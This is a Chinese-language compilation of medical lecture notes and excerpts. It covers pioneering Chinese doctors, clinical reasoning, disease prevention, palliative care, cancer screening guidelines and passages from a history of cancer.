　　伍连徳用肉身之躯，阻遏了中国鼠疫爆发，他是中国检疫防疫的先驱者之一。

  1. 伍连徳医生在非常落后的条件下，用科学方法战胜鼠疫，为人类战胜大规模烈性传染病提供了宝贵经验。
  2. 在突发、不明原因的大型传染病早期，即便在不能了解病原体的前提下，按照科学的群体防控流程，就有助于控制疫情。
  3. 控制大规模传染病的原则：管理传染源，切断传播途径，保护易感人群。

　　伍连徳是我最敬重的医生，他是马来西亚华侨，但是他直到离世都在说，“我是个中国人”。

　　他说过：

　　我曾经将我的大半生奉献给古老的中国。从清朝末年到民国建立，直到国民党统治崩溃，那一切在许多人的脑海里记忆犹新。中国是个有五千年历史的伟大文明古国，历经世世代代的兴衰荣辱，才取得了今天的地位，我衷心地希望她能更加繁荣昌盛。

　　直到今天，换血疗法仍然是对于严重新生儿溶血病的一项关键的救治方法。

　　林巧稚医生就是这节课要讲的大医生。她是北京协和医院第一任中国籍妇产科主任，她是中国医生的表率，是中国女医生的表率。

　　虽然她自己没有孩子，但是她亲自接生了 5 万多名婴儿，包括水稻之父袁隆平，冰心的孩子和林徽因的孩子。但是，林巧稚接生的最多的是普通百姓的孩子。她被称为“万婴之母”。

　　林巧稚毕业留院的时候，当时医院给她的聘书是这样写的：

　　兹聘请林巧稚女士，任协和医院妇产科助理住院医师……聘任期间凡因结婚、怀孕、生育者，作自动解除聘约论。

　　女医生的独特优势

　　第一，女性从医，支持了患者的选择权。

　　第二，女医生更善于沟通，善于捕捉细节。所以，在医患沟通中时间长，患者就医体验好。

　　第三，整体而言女性更谨慎，不盲目自信，表现为更遵从临床治疗指南。这个风格，在治疗老年内科疾病方面显示出了优势。

　　哈佛大学公共卫生学院做了这样一项研究。研究对象是在 2011 年 1 月-2014 年 12 月期间，入院的 150 多万名 65 岁及以上的内科住院患者。结果发现，女医生治疗的病人入院 30 天死亡率和再入院率都低于男医生。

　　女医生在老年内科疾病方面具有优势。但是，男医生的思维相对更活跃，勇于开拓。所以，在一些疑难病和需要冒险精神的疾病面前，具有优势。

　　林巧稚为中国的医学事业贡献了终生。

　　1983 年 4 月 22 日，病重的林巧稚在昏睡中发出急促的喊声：“产钳，产钳，快拿产钳

　　来！” 过了一会儿，她脸上露出一丝微笑：“又是一个胖娃娃，一晚上接生了 3 个，真好！”

　　这是她留给这个世界最后的话。

  1. 林巧稚医生是中国医生和中国女医生的典范。
  2. 在以前，女性从医付出了巨大的代价。
  3. 今天，越来越多的女医生正在发挥着突出的贡献和作用。

　　20 世纪 90 年代，纽约地铁曾经是犯罪高发场所。盗窃、抢劫、谋杀、性骚扰案件时有发生。

　　1994 年，警察局长布拉顿（William Bratton）上任。地铁暴力必须遏制，他是怎么做的呢？

　　他并没有增加警力，也没有安装无数的探头，更没有在车厢里布置便衣警察，他主要做了一件事，就是在地铁出口抓逃票。

　　为什么抓逃票，就可以打击犯罪呢？

　　因为布拉顿发现，每 7 个逃票者当中就有一个在逃犯，每 20 个逃票者当中就有一个人携带了武器。遵守法律的人是不会逃票的，逃票的人当中肯定会有不安全因素。

　　布拉顿就这样找到了打击地铁犯罪的杠杆解。

　　不到两年，他就在没有增加预算和人力的情况下，把纽约市变成了全美最安全的大城市。他自己也在 1996 年被选为《时代》（TIME ）杂志的封面人物。

  1. 繁冗和复杂未必带来好的结局。
  2. 少即是多，是医生成长必须要过的第一关。
  3. 做到少即是多的三个方法：寻求杠杆解，寻找最小代价，终局思维。

　　信息不完备下的快速决策，由 4 条原则组成：

  1. 唐僧原则，先保命，把紧急事件转化为常规事件。
  2. 第一张骨牌原则，找到复杂问题的关键点。
  3. 马蹄声原则，按照概率大小考虑问题。
  4. 高尔夫原则，不断校正，避免主观错误。

　　我相信在平时，以我的知识范围和能力，遗漏这么关键的两个点，可能性很小。

　　那你会问了，你每天见这么多的重病人，为什么这个病例让你这么不理性呢？

　　我告诉你，这个病人是我的亲弟弟。

　　直到今天，这个病例都在反复提醒我：

　　第一，不理性会带来窄化效应，窄化效应就会让医生过度关注某一诊断，忽略了其他的线索。

　　第二，不理性会让医生过度关注疾病最坏的结局，而忽视了疾病发展规律，变得激进和冒险。

　　我弟弟差点因为大剂量的激素冲击，引起可能的消化道大出血。

　　临床工作中，会有很多因素干扰医生的思维。比如：

　　有的时候是朋友住院，他不想按照常规流程做必要的检查，想立刻手术；

　　有的时候是领导发话，必须要达到一个什么样的治疗效果；

　　有的时候治疗的是社会热点人物，社会舆论会放大宣传。

　　上周，病房里抢救一个大面积软组织感染，感染性休克的病人，虽然我们用了各种各样的手段，但是，最终病人还是离开了。

　　当我拖着疲惫的身子沮丧地往办公室走的时候，听到后楼道呜呜的哭声。

　　谁在哭呢？

　　我走过去，看到我们外科刚毕业的一个 1 米 8 几的男博士在哭，我说：“哭啥啊你？”

　　他说：“我管了她 7 天，但还是没成功。我觉得对不起病人。”

　　我拍了拍他，我心想哭吧，一个医生的精进之路又开始了。

  1. 情感过于强烈会带来不理性。
  2. 不理性在医疗过程中会引起思维窄化。
  3. 正确转换理性思维和不理性思维，是医生要过的第三关。

　　医学权威期刊《柳叶刀》（The Lancet）指出，不健康的饮食习惯是全球死亡的首要危险因素。中国因为饮食结构问题造成的心血管疾病死亡率、癌症死亡率都是世界人口前 20 的大国中的第一名。不健康的饮食结构，也是慢病的高危因素。

　　来自华盛顿大学医学院的一项研究指出，引起中青年女性直肠癌、结肠癌发病率上升的一个重要危险因素就是肥胖。只要是 BMI 超过 30（BMI 是体重指数，是用体重的公斤数除以身高米数的平方），结、直肠癌风险立刻增加近一倍。所以，肥胖也是多种疾病的高危因素。

　　针对疾病因果关系链的第一个环节高危因素，我的建议是：

  1. 预防或者治疗慢性感染。

　　比如，通过注射乙肝疫苗，通过阻断传染途径，应用药物抑制乙肝病毒复制等等，就可以在很大程度上避免肝癌的发生。

　　再比如，注射 HPV 疫苗预防 HPV 感染，感染后积极治疗，以此来预防宫颈癌的发生，等等。

  1. 避免高危行为。

　　高危行为包括抽烟，过度饮酒，熬夜，过烫饮食，雾霾天不戴口罩，应减少食用可能含有亚硝酸盐或者黄曲霉素的食物等等。

  1. 健康饮食。

　　少吃糖，少吃红肉和加工肉类，少吃盐。多吃膳食纤维多的食物。比如全麦面包、燕麦片等全谷物、杂粮，多吃水果蔬菜，多摄入高 Omega-3 脂肪酸的食物，比如某些海产品。

　　尤其是膳食纤维。一项荟萃分析指出，增加膳食纤维有助于降低体重、血糖、血压、血脂，与冠心病、糖尿病和肠癌等多种疾病风险的下降有关。

　　研究者认为：这是膳食纤维 50 年研究史上里程碑式的事件。多吃膳食纤维能挽救生命，这应该被载入史册。建议每天摄入至少 25-29 克或更多的膳食纤维。

　　德国图宾根大学有一项研究指出，熬夜会破坏肾上腺素等物质分泌的昼夜节律，从而抑制 T 细胞对侵入人体的病原体，或者肿瘤细胞的粘附能力。因此，T 细胞杀伤“敌人”能力下降，从而影响免疫细胞功能。

　　针对第二个环节，我的建议：适度节食。

　　节食可以清除衰老细胞、衰老物质，有助于延缓皮肤成纤维细胞老化，产生更多的胶原蛋白和弹性蛋白，保持皮肤弹性，节食还可以延缓心血管老化。这些都是通过增加了修复和代偿的能力实现的。

　　尤其对于糖尿病的病人，通过节食和运动减肥，降低体重，在早期甚至可以达到近乎“治愈”的效果。通过饮食管理一年减掉 30 斤，86%的肥胖糖尿病患者早期，甚至可以达到停药效果。

　　动物实验显示，如果小鼠只摄入正常饮食 70%的热量，而且是一天一次的进食频率的话，不仅可以减肥和预防 2 型糖尿病，平均寿命还要延长 28%。

　　除了适度节食，增加修复和代偿能力的第二个做法就是，尽量保证每天的睡眠在 7-8 小时之内。睡眠过多和过少，都会影响健康。

　　除此之外，就是运动。

　　通过运动，可以增加能量消耗，减轻慢性炎症反应。运动还有利于衰老物质清除，预防多种癌症和体重增加。运动还可以降低冠心病、高血压、卒中、2 型糖尿病、代谢综合征和抑郁症的风险。

　　有研究指出，持续锻炼（相当于每周> 150 分钟快走）的正常体重人群，和不运动的肥胖群体相比，与平均寿命增加 7.2 年相关。

　　针对疾病因果关系链条的第三个环节疾病隐性期，应该进行疾病的早期筛查，尤其是癌症筛查。

　　四种癌症，具有明确的筛查价值。包括：

　　用低剂量肺部 CT 筛查早期肺癌；

　　用乳腺钼靶检查，或者加上超声、核磁共振筛查早期乳腺癌；

　　用宫颈细胞学涂片检查，或者加上 HPV 检测筛查早期宫颈癌；

　　用结肠镜筛查结肠癌和直肠癌。

  1. 多数慢性病出现症状之前的因果关系链条可以概括为：高危因素—修复和代偿能力下降—疾病隐性期。
  2. 针对第一个环节：预防或者治疗慢性感染，避免高危行为，健康饮食。针对第二个环节，可以适度节食，运动。针对第三个环节，可以进行科学的筛查。

　　我总结了一下，无论医生谈话、术前告知，还是知情同意，各种交流都包括了五个核心问题。

　　如果我们能够了解这五个问题并梳理出来，不懂的点还可以去再次和医生进行沟通，那么也就可以在很大程度上做到知情了。

　　这也是《英国医学杂志》有篇论文提到的五个问题。

　　第一个问题：我真的需要做这个检查、治疗或手术吗？

　　第二个问题：有什么风险或者不足之处？

　　第三个问题：可能会有什么副作用？

　　第四个问题：还有其他更简单、更安全的选择吗？

　　第五个问题：如果我什么都不做，会怎么样？

　　根据统计，美国每年大概会有 4400-9800 名患者死于非技术水平范畴内的决策失误

  1. 决策体系的三个环节：知情、选择、寻求支持。
  2. 五个关键问题可以帮助医患共同决策。
  3. 寻求医生的支持有利于作出最佳选择。

　　根据《经济学人》公布的《2015 年度死亡质量指数》报告显示，在调查的全球 80 个国家中：死亡质量英国位居第 1，中国台湾地区排名第 6，中国大陆地区排名第 71。

　　欧美国家，对善终提出了六个要求，这和中国人理解的善终是非常接近的。只要你理解了这六点，也就理解了善终的真正含义，做到了成长。

　　一、无痛苦的死亡（Pain-free death）。

　　当死亡来临的时候，人体的电解质、酸碱平衡都会发生紊乱，癌症侵袭转移，肌肉僵硬，长期卧床等等，各种因素都会引起病人剧烈难忍的疼痛。

　　因此，善终的第一个也是最重要的一点，就是做到无痛。在痛苦中等待死亡，不仅会加速死亡，而且让这个过程非常不人道。

　　二、公开承认死亡即将到来（Open acknowledgment of the imminence of death）。

　　不回避死亡，清醒地认知到死亡是生命的一部分。只有认可了这个过程是不可避免的，是每个人都要经历的，才可能真正地让死亡有质量。

　　三、在家中去世，有家属和朋友陪伴（Death at home, surrounded by family and friends）。

　　在即将离世的时候，都会有对于亲情友情的渴望，会恋恋不舍，死亡的过程同时也是一个告别的过程，这同样是善终重要的部分。

　　四、“明明白白”地死亡，内心冲突和未尽事宜都得到了解决（An "aware" death—in which personal conflicts and unfinished business are resolved）。

　　现代医学几乎可以解决多数肉体上的痛苦了，但是，如果病人还有一些内心纠结的事情，或者一些未完成的心愿，那么这也是另一种形式的痛苦。去世前，让这些未了的心愿得以实现，才可以做到安详。

　　五、认定死亡是个体的成长过程（Death as personal growth）。

　　正确认识了死亡，也是个人的成长。

　　六、与个人的爱好和与特征相符合的方式死亡（Death according to personal preference and in a manner that resonates with the person’s individuality）。

　　根据个人的宗教和信仰，进行心理和灵性关怀。比如，有学者用“蝴蝶意象”，将死亡比喻成蜕茧成蝶，告诉病人死亡之后就像蝴蝶，会摆脱痛苦。

　　再比如，用宗教、用信仰去安抚即将逝去的人，都是灵性和心理层面的关怀，这个时候就不能全部用医疗技术替代了。

　　了解了“善终”的这六点，那么对于死亡，咱们也就做到了个人的成长。

　　缓和医疗是一种提供给患有危及生命疾病的患者和家庭的，旨在提高他们的生活质量及面对危机能力的系统方法。通过对痛苦和疼痛的早期识别，以严谨的评估和有效管理，满足患者及家庭的所有（包括心理和精神）需求。

　　缓和医疗有 3 个原则：

  1. 重视生命并承认死亡是一种正常过程；
  2. 不加速也不延后死亡；
  3. 提供解除临终痛苦和不适的办法。

　　了解缓和医疗，必须避免一些误解。

　　首先，缓和医疗不是安乐死。

　　缓和医疗不加速死亡，也不拖延死亡。它和安乐死是不同的，安乐死是用一种相对激进的方法，为了减免病人的痛苦，加速死亡过程。

　　在世界上包括中国，安乐死可能一时半会儿还很难被大众广泛接受，但是缓和医疗相对于安乐死，就更容易被接受了。

　　其次，缓和医疗不是“顺其自然”。

　　多数死亡的自然过程是充满痛苦的，顺其自然不人道。缓和医疗是用积极的医学手段去干预痛苦，它最重要、最核心的一点，就是缓解痛苦，让病人有尊严地去世。

　　最后，缓和医疗也不仅是纯粹的医学干预，应该是身体、心理、精神三个层面的全方位干预。缓和医疗的概念和原则，体现了医学的温情。

　　相比于家人的意见不一，或者因为亲情不舍割离，生前预嘱就是一种更好的选择。

　　生前预嘱需要社会的支持。

　　凡是年满 18 周岁，具有完全民事行为能力的人，都可以通过这种方式对自己的生命作出安排。在我国，已经有了生前预嘱的公益组织和网站，你如果有兴趣也可以去看看。

　　生前预嘱的内容通过“我的五个愿望”来实现，包括：

　　一、我要或者不要什么医疗服务。

　　二、我希望使用或者不使用生命支持治疗。

　　三、我希望别人怎样对待我。

　　四、我想让我的家人和朋友知道什么。

　　五、我希望谁帮助我。

　　在有些国家，通过立法支持生前预嘱的实现。

  1. 正确认识死亡可以让人实现有尊严的死亡。
  2. 自己的成长、社会的支持、医学的温情是让死亡质量提高的解决方案。
  3. 善终的含义包括 6 个层面，缓和医疗和生前预嘱是目前做到善终的有益尝试。

　　陈方正先生的著作《继承与叛逆》中有段话，我第一次读到的时候，就被震撼到了：

　　在今日，牛顿理所当然地被视为 17 世纪科学革命主将和现代科学开创者，科学与宗教之分道扬镳，上帝之被摈除于自然哲学以外，都是从《原理》开始。 这恐怕是牛顿自己最意料不到，也最不愿意见到的结果，因为他是以古代伟大的传统的继承者、复兴者自居，而从来没有想到自己实际上会成为叛逆者。

癌症筛查指南

乳腺癌筛查指南

中国抗癌协会乳腺癌专业委员会建议

20~39 岁

不推荐对该年龄段人群进行乳腺筛查。

40~45 岁

  1. 适合机会性筛查。
  2. 每年 1 次乳腺 X 线检查。
  3. 对致密型乳腺(腺体为 c 型或 d 型)推荐与 B 超检查联合。

45~69 岁

  1. 适合机会性筛查和人群普查。
  2. 每 1~2 年 1 次乳腺 X 线检查。
  3. 对致密型乳腺推荐与 B 超检查联合。

70 岁或以上

  1. 适合机会性筛查。
  2. 每 2 年 1 次乳腺 X 线检查。

乳腺癌高危人群筛查意见

  1. 建议对乳腺癌高危人群提前进行筛查(小于 40 岁)，筛查间期推荐每年 1 次。
  2. 筛查手段除了应用一般人群乳腺 X 线检查之外，还可以应用 MRI 等新的影像学手段。

乳腺癌高危人群的定义

  1. 有明显的乳腺癌遗传倾向者。
  2. 既往有乳腺导管或小叶不典型增生或小叶原位癌(lobular carcinoma in situ，LCIS)的患者。
  3. 既往行胸部放疗。

肺癌（LDCT 筛查）

建议筛查的个体

  1. 年龄介于 50 岁-74 岁之间的吸烟者
  2. 至少有 20 包/年吸烟史，如已经戒烟则戒烟时间不得超过 5 年

其他肺癌危险因素筛选条件

  1. 宣威无通风或通风较差室内燃煤年数≥15 年
  2. 个旧项目点有 10 年或更长的坑下作业或冶炼史

不建议筛查的个体

近 5 年有癌症病史（非黑色素性皮肤癌、宫颈原位癌、局限性前列腺癌除外）、不能耐受可能的肺癌切除手术或有严重影响生命疾病的个体则。

检查措施

低剂量螺旋 CT

肝癌

建议人群

  1. 乙型肝炎病毒（HBV）和/或丙型肝炎病毒（HCV）感染
  2. 长期酗酒
  3. 非酒精脂肪性肝炎
  4. 食用被黄曲霉毒素污染食物
  5. 各种原因引起的肝硬化
  6. 以及有肝癌家族史等的人群
  7. 尤其是年龄 40 岁以上的男性风险更大

检查措施

血清甲胎蛋白（AFP）和肝脏超声检查。

具体建议

建议上述高危人群每隔 6 个月进行至少一次检查。

胃癌

建议筛查人群

年龄≥40 岁，且符合下列任意一条者：

  1. 胃癌高发地区人群；
  2. 幽门螺旋杆菌（Hp）感染者；
  3. 既往患有慢性萎缩性胃炎、胃溃疡、胃息肉、手术后残胃、肥厚性胃炎、恶性贫血等胃的癌前疾病；
  4. 胃癌患者一级亲属；
  5. 存在胃癌其他风险因素（如摄入高盐、腌制饮食、吸烟、重度饮酒等）。

检查措施

血清学筛查和内镜筛查，最终确诊需要病理证实。

食管癌

建议筛查对象

年龄>40 岁，符合下列任一项者应列为食管癌高危人群，：

  1. 来自食管癌高发区；
  2. 有上消化道症状；
  3. 有食管癌家族史；
  4. 患有食管癌前疾病或癌前病变；
  5. 具有其他食管癌高危因素(吸烟、重度饮酒、头颈部或呼吸道鳞癌等)。

检查措施

内镜和活检病理检查。

宫颈癌

21~29 岁的女性

检查措施

巴氏试验

具体建议

宫颈癌筛查应从 21 岁开始；

对于 21~29 岁的女性，应每 3 年进行一次常规或液基巴氏试验筛查。

30~65 岁的女性

检查措施

巴氏试验和 HPV DNA 检测。

具体

对于 30~65 岁的女性，应每 5 年进行一次 HPV 检测加巴氏试验作为筛查（首选），或每 3 年进行一次巴氏试验（可接受）。

年龄＞65 岁的女性

检查措施

巴氏试验和 HPV DNA 检测。

具体建议

年龄＞65 岁的女性，在最近 10 年内巴氏试验连续≥3 次阴性，或 HPV 检测连续≥2 次阴性，最近一次检测发生在最近 5 年内，应停止宫颈癌筛查。

已接受过全子宫切除术的女性

不需要接受宫颈癌筛查。

结直肠癌

45~75 岁之间的男性和女性

检查措施
  • 粪便免疫化学试验（FIT）[每年]；
  • 或高灵敏度愈创木脂粪便隐血试验（HSgFOBT）[每年]；
  • 或多靶点粪便 DNA 检测（mt-sDNA）[每 3 年]；
  • 或结肠镜检查[每 10 年]；
  • 或 CT 结肠成像（CTC）[每 5 年]；
  • 或软式乙状结肠镜检查（FS）[每 5 年]。
具体建议

年龄在 45 岁及以上的成年人，应根据患者的偏好和检测的可及性进行定期筛查，包括高灵敏度粪便检测或结直肠结构（视觉）检查。

非结肠镜筛查试验的所有阳性结果都应及时进行结肠镜检查，这应作为筛查过程的一部分。

健康状况良好，预期寿命大于 10 年的成年人应继续筛查至 75 岁。

76~85 岁的男性和女性

应根据患者的偏好、预期寿命、健康状况和既往筛查史，进行个体化的筛查决策。

如果决定继续筛查，可按上述筛查方案进行。

年龄＞85 岁的男性和女性

不建议继续进行筛查。

子宫内膜癌

应向 绝经期女性 告知子宫内膜癌的风险和症状，并强烈建议这些女性及时向医生报告任何意外出血，即使是少量的点状出血。

前列腺癌

建议人群

男性，年龄≥50 岁

检查措施

前列腺特异性抗原检测（PSA），同时进行或不进行直肠指检（DRE）。

具体建议

对于预期寿命≥10 年的男性，应该有机会在获得前列腺癌筛查潜在益处、风险和不确定性的相关信息后，与医务人员一起就是否要进行前列腺癌筛查做出知情的决策；前列腺癌的筛查必须在患者充分知晓利弊的情况下进行。

总体建议

如果本身具有某些健康问题的风险，比如家族病史，或吸烟等生活方式问题，那么就可能需要较早、较多地接受筛查。如果您考虑参加筛查的话，请咨询专业医务人员。

众病之王：癌症传

　　一百多年后的 20 世纪 80 年代初期，另一种疾病的名称改变——从“同性恋相关免疫疾病”（gayrelated immunedisease， GRID）变成了“获得性免疫缺陷综合征”（acquired immune deficiency syndrome，艾滋病 AIDS），标志着人类对该病的认知发生了巨大的改变。 ②　　

　　②认识到艾滋病毒（HIV）为一个病原体，以及该病毒在全球范围的快速蔓延后不久，人类就抛弃了最初观察到的、带有文化歧视性的“该病偏爱同性恋”这一认识。　　

　　魏尔啸于 19 世纪 40 年代初进入医学界，当时，几乎每一种疾病都归因于某种无形力量的作用：瘴气、神经症、败坏的体液、歇斯底里。这些看不见的东西，令魏尔啸备感困惑，他转而以无比的热忱来研究他所能观察到的——显微镜下的细胞。1838 年，在德国工作的植物学家马蒂亚斯·施莱登（Matthias Schleiden）和生理学家西奥多·施万（Theodor Schwann）主张，所有生物体是由被称为“细胞”的基础材料构建而成的。魏尔啸借用这种思想，并把它发扬光大，创建了一种人类生物学的“细胞理论”。它立足于两个基本原则：首先，像所有动物和植物一样，人体是由细胞组成的；第二，细胞只能来自于其他细胞，用他的话来说就是“细胞来自于细胞”（omnis cellula ecellula）　　

　　这两项原则看似简单，却能够使魏尔啸就“人类生长的本质”问题，提出一个至关重要的假说。如果细胞只能起源于其他的细胞，那么“生长”就只能以两种方式发生：或者通过增加细胞数量，或者通过增大细胞 体积。魏尔啸把这两种方式分别称为“增生”（hyperplasia）与“肥大”（hypertrophy）。“肥大”发生时，细胞数量并未改变，而仅仅是每一个单细胞的体积都发生了增大，就像一只气球被气吹起来了。与此相反，“增生”则是由于细胞数量增生而成长。每一种人体组织的生长，都可以用增生和肥大这两个术语来描述。在成年动物中，脂肪和肌肉通常是通过“肥大”来生长的。相比之下，肝脏、血液、肠道和皮肤，都是通过“增生”来成长的——细胞变成细胞，变成越来越多的细胞（omnis cellula e cellula ecellula）。　　

　　20 世纪初，医学界已经清楚白血病具有几种形式：它可能是慢性平缓发展的，缓慢地腐蚀骨髓和脾脏，如魏尔啸遇到的原始病例（后来被称为慢性白血病）；或者可能是急性剧烈的，仿佛在“人格”上是一种截然不同的疾病——突然的发热、阵发性出血，以及令人瞠目的细胞快速增生，这是贝内特的患者情况。　　

　　第二种形式被称为急性白血病，根据所涉及的癌细胞类型，又进一步分为两个亚型。正常血液中的白细胞，可大致分为两种类型的细胞——髓样细胞与淋巴细胞。急性髓细胞性白血病（AML）是髓样细胞的癌症。急性淋巴细胞白血病（ALL）是不成熟的淋巴细胞的癌症（较成熟的淋巴细胞的癌症被称为淋巴瘤）。　　

　　儿童中，最常见的白血病是急性淋巴细胞白血病，它几乎总是迅速而致命。　　

　　她的治疗需要非凡的技巧，需要进行化疗来杀死白血细胞，但是化疗同时会大量消灭残存的正常血细胞。为了拯救她的生命，我们要把她推入深渊之渊。对卡拉来说，唯一的出路，就是置之死地而后生。　　

　　还有一种迈诺特研究小组尚未研究的营养性贫血，它滋生于万里之外英国商人拥有的孟买织布厂里。工厂由当地榨骨吸髓的爪牙代理管理。这里的工资一直维持在极低水平，导致工人们生活在赤贫中，营养不良、缺医少药。因此，从道德意义上来说，这是另一种“恶性”贫血。20 世纪 20 年代，英国医生为这些工人做身体检查，以研究这种长期营养不良产生的影响。他们发现，其中许多人，特别是妇女分娩后，发生了严重的贫血（这是又一个“殖民地的诱人魅物”——在大量的人口中创造某种苦难状况，然后进行社会学或医学的实验）。　　

　　后来证明“威尔斯因子”竟然是叶酸，这是一种类似维生素的物质，常见于水果和蔬菜中（酵母酱中含有丰富的叶酸）。细胞分裂时需要进行 DNA 复制——DNA 是一种携带细胞中所有遗传信息的化学物质。而叶酸是 DNA 的关键组成部分，也因此，叶酸对细胞的分裂至关重要。人体中的细胞分裂以最惊人的速度制造血细胞，每天，要产生超过 3000 亿个细胞。因此，血液的产生特别地依赖叶酸。当叶酸匮乏时（如在孟买，这里的男女无钱食用蔬菜），骨髓就停止生成新的血细胞。数以百万计的半成熟细胞喷涌而出，就像卡在“生产线”上的半成品。骨髓成了一个无法正常运转的工厂，一个营养不良的生理工厂，这不禁令人诡异地联想到孟买的织布厂。　　

　　法伯的论文于 1948 年 6 月 3 日发表，有七页篇幅，挤满了表格、数字、显微镜照片、实验室量值和血球计数，论文的文字刻板僵硬、端正而不带感情，科学性极强。然而，它像所有伟大的医学论文一样引人入胜，像所有的杰出小说一样历久弥新。如今读来，当时的情境仿佛历历在目：波士顿诊所忙乱的日子里，患者命悬一线，法伯和助手们忙不迭时地为治疗这种一闪即逝又不时复发的可怕疾病寻找新药。这个故事情节起伏，有开端，有发展，不幸的是，也有结局。　　

　　维多利亚时代的浪漫主义者把肺结核（或曰“痨病”）提升到了病理学上的一种极端表现——发热、不停不休、难以呼吸、极富强迫性。这是诗人的疾病：约翰·济慈（JohnKeats）在一个小房间里，俯瞰着罗马城的西班牙阶梯，渐渐地走向死亡；或者迷恋浪漫的拜伦（Byron），幻想着死于这种疾病，让他的情人心疼。1852 年，梭罗（Thoreau）写道：“死亡和疾病往往是美丽的，就像……痨病引起的脸泛红光。”在托马斯·曼（Thomas Mann）的《魔山》（The Magic Mountain）中，这种“脸泛红光”在其受害者身上释放了热烈的创造力——一种清醒、启发、宣泄的力量，似乎满载着时代的精华。　　

　　乳房上鼓起的肿块，又硬又凉，且密实如河曼果，潜伏在皮肤下蔓延——很难再找到对乳腺癌这么生动的描述了。莎草纸上每一个病例中，都有简洁的治疗讨论，即使是治标不治本的权宜之计，如通过耳朵向做了神经外科手术的病人灌以牛奶、为伤口敷药膏、为烧伤涂油膏。但对于第 45 个病例，印和阗陷入了不寻常的沉默。在“治疗”项下，他只写了短短的一句：“没有治疗方法。”　　

　　1990 年，一片约有 140 具尸体的干化大坟地引起了明尼苏达州大学德卢斯（Duluth）分校教授阿瑟·奥夫德海德（Arthur Aufderheide）的注意。教授是一名病理学家，但专长是以古标本研究为主的古病理学。这个领域同法伯的专业不同，解剖的对象不是刚死不久的患者，而是发现于考古遗址的木乃伊。奥夫德海德在明尼苏达大学的一间圆拱形的地下室中，用小型的无菌奶容器存储这些人体标本，在他的储藏柜里有近 5000 件组织，几十种活检标本和数百具破碎的骷髅。　　

　　奥夫德海德并不是唯一一位在干尸标本中发现癌症的考古病理学家（骨肿瘤会形成硬化和钙化的组织，所以非常有可能保存成百上千年，而且保存的状态也最好）。他说“保存于木乃伊中的恶性组织也让我们发现了其他类型的癌症。其中最古老的是约公元 400 年发生在埃及达赫莱（Dakhleh）的一例腹部癌症”。在其他案例中，考古病理学家并没有发现实际的肿瘤，而只是发现了体内肿瘤所留下的痕迹。一些骷髅在颅骨或肩部骨骼上布满了癌症造成的微孔，都来自于皮肤癌或乳腺癌的转移。1914 年，一队考古学家在亚历山大的地下墓穴发现了 2000 年前的埃及木乃伊，上面有一个肿瘤，已侵入了骨盆。曾发掘出已知最早的人类骨骼的考古学家路易斯·利基（Louis Leakey），也在附近的一处遗址发现了一个可以追溯到 200 万年前的下颌骨，带有非洲东南部特有的淋巴瘤所留下的痕迹（不过该肿瘤的病理起源从未得到证实）。如果这一发现的确代表一个古老的恶性肿瘤留下的瘢疤，那么癌症就远远不是一种“现代病”，而是有史以来，在人体标本上见过的最古老的疾病之一，很可能还是最古老的疾病。　　

　　癌症是一种与年龄相关的疾病，其发生概率有时是呈指数性地随年龄增加。如患乳腺癌的概率在 30 岁左右的妇女中是 1/400；而 70 岁左右的妇女，每 9 人中就会有 1 人患乳腺癌。　　

　　古代疾病的名字本身就是浓缩的故事。斑疹伤寒是一种凶猛的疾病，伴有不稳定发烧、蒸汗的症状。这种疾病的称谓来自于希腊词语“tuphon”（众风之父）。现代词语台风（typhoon）亦来源于此。“流感”（influenza）来自于拉丁词语“influentia”，因为在中世纪医生们的想象中，流感的循环爆发是受到了恒星与行星靠近或远离地球的影响。肺结核（tuberculosis）是由拉丁语“tuber”转化而来。“tuber”指的是膨胀的腺体，像小蔬菜一样的团块。淋巴结核被称为“scrofula”，来自于拉丁语中表示“小猪崽”的词语，其病征为一系列肿大的腺体，排列成行，让人想到一群哺乳的小猪崽。　　

　　在公元前约 400 年的希波克拉底（Hippocrates）时代，一个描述癌症的词语“karkinos”首先出现在了医学文献中，它来自于希腊语“螃蟹”一词。肿瘤，以及它周身蔓生的肿胀血管，让希波克拉底想到了挥脚掘沙的螃蟹。这种画面很奇怪（很少有癌真长得像螃蟹），但也很生动。后来的作家，包括医生和患者，都为其加入了修饰。在有些人眼中，肿瘤硬化黯淡的表面让人不禁联想到螃蟹那硬邦邦的躯壳。有些人觉得肿瘤在体内悄悄扩散，仿如螃蟹在皮肉之下行走。对另一些人来讲，癌症带来的突然刺痛就像是被螃蟹的大螯夹到了一样。　　

　　还有一个希腊语也和癌症的历史发生了交汇，那就是“onkos”——人们有时用这个词来描述肿瘤；现代肿瘤学的用语“oncology”正是脱胎于此字。“Onkos”在希腊语中表示一种分量或负载，或者更通常地表示为一种负担——癌症被设想为身体上承载的一种负担。在希腊的舞台上，“onkos”这个词还被用来描述一种悲剧角色的面具，这种角色的头上往往戴着一个笨重的锥状物，象征着其所承载的心理负担。　　

　　克劳迪亚斯·盖伦（Claudius Galen）是一位颇具影响力的希腊医生，也是一位多产的作家，曾于公元 160 年左右在罗马行医。他把希波克拉底的体液学说推向了极致。盖伦像希波克拉底一样，根据各种体液是否过量归类所有疾病。他认为炎症导致的红热、痛胀都是由于血液过多所致；而表现为发凉、白色、潮湿状态的结核、脓包、黏膜炎和淋巴结核，都被归因为黏液过多。黄疸被归咎为黄胆汁过量；至于癌症，盖伦认为幕后元凶是四种体液中最恶性、最令人忧心的黑胆汁。［同样归因于黑胆汁这种油腻、黏稠的体液的，只有另一种充满隐喻性的疾病——抑郁症。事实上，在中世纪抑郁症被称为“melancholia”，它得名于希腊词语“melas”（黑）和 khole（胆汁）。因此，抑郁症和癌症这两种因黑胆汁而患的心理疾病和生理疾病，因其内在特质而纠缠在了一起。］盖伦认为癌症是黑胆汁淤滞所致，因其被困在某处无从宣泄，所以凝结成纠缠的肿块。16 世纪的英国外科医生托马斯·盖尔（Thomas Gale）提到盖伦的理论—— “黑色的胆汁淤积不化，遂生癌症”时认为 “如果体液辛辣，就造成溃疡，也因此之故，这些肿瘤的颜色会更黑”。　　

　　在没有麻醉药和抗生素的中世纪，大多数外科手术都是在诊所的某个暗室中进行的，更常见的是在一家理发馆的后间进行的——用皮带固定病人，手术刀锈迹斑斑，往往酿成危及生命的灾难性后果。16 世纪的外科医生帕雷（Ambroise Pare）就曾描述了用煤火加热的烙铁来烧焦肿瘤，或者用硫酸药膏来烧除肿瘤。即使皮肤上一处小的划痕，在这样治疗后，也会很快化脓造成致命的感染。肿瘤在轻微的刺激下，也往往会造成大量出血。　　

